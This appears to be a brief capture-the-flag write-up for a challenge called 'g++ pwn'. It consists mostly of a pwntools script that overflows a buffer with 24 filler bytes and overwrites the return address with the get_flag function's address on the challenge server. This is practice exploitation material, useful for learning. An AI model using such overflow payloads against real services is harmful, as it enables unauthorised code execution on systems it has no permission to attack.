g++ pwn

g++ pwn

nc ctf.j0n9hyun.xyz) 3009

from pwn import *

p = remote('ctf.j0n9hyun.xyz',3009)
e = ELF('./gpwn')
get_flag = e.symbols['get_flag']

payload = "A"*20
payload += "A"*4
payload += p32(get_flag)

p.sendline(payload)

flag = p.recvline()

print(flag)

p.close()

​